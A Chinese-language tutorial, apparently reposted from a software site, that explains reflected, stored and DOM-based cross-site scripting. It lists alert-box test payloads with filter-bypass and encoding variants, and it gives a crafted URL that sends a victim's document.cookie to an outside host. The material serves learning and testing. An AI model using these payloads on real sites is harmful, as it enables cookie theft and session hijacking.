跨站腳本簡稱(cross sites script),是安全裡比較重要也比較普遍的一種安全漏洞。跨站腳本是指輸入惡意的代碼,如果程序沒有對輸入輸出進行驗證,則浏覽器將會被攻擊者控制。可以得到用戶cookie、系統、浏覽器信息,保存型xss還可以進行釣魚,以獲取更多的用戶信息。
最常見的跨站腳本的方法,輸入
<Script>alert(1)</script>
以及它的各種變體
<script>alert(1) </script>實體
%3Cscript%3Ealert(1)%3C/script%3E URL編碼
<scr<script>ipt>alert(1)<scr<script>ipt>
<script x=1>alert(1)</script x=1> 還可以這樣寫
或者<script>confirm(1)</script>
<javascript.:alert(1)>;等
如果提交後,頁面彈出警告框,則該頁面存在xss漏洞
*反射型xss
通俗來講,即使輸入一段代碼,既可以看到代碼實際的效果,而非原程序的效果
如:一段代碼
<html><body>
<script>
document.write(location.search);</script>//location.search返回url?開始的部分
</body></html>
當輸入以下url
"http://127.0.0.1/attrck.html?search=222"
頁面將顯示:?search=222 ;但url中如果輸入
/?search=<Script>alert(1)</script>
則頁面的實際代碼為:
document.write(?search=)<Script>alert(1)</script>;
將彈出警告框,即代碼<Script>alert(1)</script>被執行了,而並非頁面原來顯示?後字符串的效果
可以使用偽造後的url獲取用戶cookie
如,在示例1中加入document.cookie=("name=123");,設置cookie,然後構造url如下,實現將localhost域的cookie傳遞到並進行搜索
http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>
因為cookie是禁止跨域訪問的,但偽造的url,浏覽器會認為是還是localhost的域
*保存型xss
是指將惡意代碼保存到服務器,比如發布一篇包含惡意代碼,其他用戶浏覽時將執行惡意腳本
*基於dom的xss
嚴格來說該xss也屬於反射性,本文的例子其實也是dom based,是指修改頁面的dom對象模型,從而達成攻擊,比
如頁面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss,查找xss漏洞一般使用手工輸入,需要考慮到輸入限制、過濾、長度限制等因素,因此需要設計各種不容的變體輸入,以達到測試效果,也可以使用工具,比如burpsuite來獲取請求後手工修改請求參數,然後重新提交到浏覽器來測試,因為xss並不限於可見的頁面輸入,還有可能是隱藏表單域、get請求參數等。
本文來自於【系統之家】 www.xp85.com